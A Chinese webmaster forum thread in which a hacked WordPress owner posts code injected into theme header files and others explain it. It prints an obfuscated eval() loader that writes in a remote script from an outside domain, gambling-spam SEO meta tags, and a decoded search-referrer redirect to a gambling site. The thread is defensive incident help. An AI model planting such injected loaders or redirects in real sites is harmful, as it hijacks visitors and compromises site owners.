WP建站被黑，大佬帮忙看下头部这段代码什么意思

左手写爱

好域名  网站被黑，搜索引擎报风险才发现，WP用了这几年第一次被黑主题头部header和header-bulletin文件被写入这两段代码，大佬帮忙看下什么意思

1. <script type="text/javascript">
   
2. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\c\\b\\2\\m\\i\\8\\j\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\1\\2\\3\\9\\4\\0 \\0\\n\\4\\8\\d\\6\\0\\8\\k\\0\\5\\f\\e\\o\\e\\1\\2\\3\\9\\4\\0\\6 \\1\\3\\2\\d\\6\\t\\0\\0\\4\\1\\r\\5\\5\\7\\7\\7\\a\\q\\1\\1\\c\\s\\2\\a\\2\\b\\i\\5\\j\\p\\a\\f\\1\\6\\h\\g\\5\\1\\2\\3\\9\\4\\0\\h\');',30,30,'x74|x73|x63|x72|x70|x2f|x22|x77|x65|x69|x2e|x6f|x64|x3d|x61|x6a|x3c|x3e|x6d|x6e|x78|window|x75|x79|x76|x62|x67|x3a|x6c|x68'.split('|'),0,{}))
   
3. </script>
   
4. <noscript>
   
5. <title>&#22826;&#38451;&#22478;&#23089;&#20048;&#22478;_&#22826;&#38451;&#22478;&#23089;&#20048;&#22330;_&#39318;&#39029;</title>
   
6. <meta name="keywords" content="&#22826;&#38451;&#22478;&#23089;&#20048;&#22478;,&#22826;&#38451;&#22478;&#23089;&#20048;&#22330;,&#39318;&#39029;" />
   
7. <meta name="description" content="&#22826;&#38451;&#22478;&#23089;&#20048;&#22478;&#26159;&#38598;&#22826;&#38451;&#22478;&#23089;&#20048;&#22330;&#12289;&#28216;&#25103;&#34892;&#19994;&#26032;&#38395;&#39318;&#39029;&#20026;&#19968;&#20307;&#30340;&#34892;&#19994;[key&#22826;&#38451;&#22478;&#23089;&#20048;&#22330;]&#32593;&#31449;,&#20840;&#38754;&#25253;&#36947;&#12289;&#25918;&#30524;&#32593;&#28216;&#34892;&#19994;,&#31934;&#24425;&#30340;&#28216;&#25103;&#26032;&#38395;&#12289;&#28145;&#24230;&#25253;&#36947;&#12290;" />
   
8. </noscript>

复制代码

ber

1. window["document"]["write"]('<script type="text/javascript" src="https://www.gssdlc.com/nb.js"></script>');

复制代码

1. document.writeln("<script LANGUAGE="Javascript">");
   
2. document.writeln("var s=document.referrer");
   
3. document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )");
   
4. document.writeln("location.href="https://www.444332.vip/?channel=P00142";");
   
5. document.writeln("</script>");

复制代码

FXB

没用的 你这段代码删了 还是会被黑,你的网站已经被挂上后门了!
教你个诀窍,先用本地查杀 查那些不被加密的后门php,然后先把网站挂到360网站卫士那里去保护一波儿!
然后每天看看拦截信息 找到他要注入或者是访问的url 然后找到对应的文件删了
我之前discuz 被黑了好久才解决掉

linode-jspinosi

我只看的懂title 上面什么 JS你删掉不就可以了嘛 都知道在哪里了

周润发

搜索引擎被黑了呀 删掉 这是黑快照的 WP 插件主题从WP内部下 别外面的地方下载没有保障

木易酱

这是劫持

左手写爱

周润发 发表于 2018-5-5 07:36
搜索引擎被黑了呀 删掉 这是黑快照的 WP 插件主题从WP内部下 别外面的地方下载没有保障 ...

主题插件都是WP后台搜索下载的。。。
我试试更新下密码

fiht233

这个是被挂黑链了

uijk123

加密了黒链代码

mfcer

WP版本号多少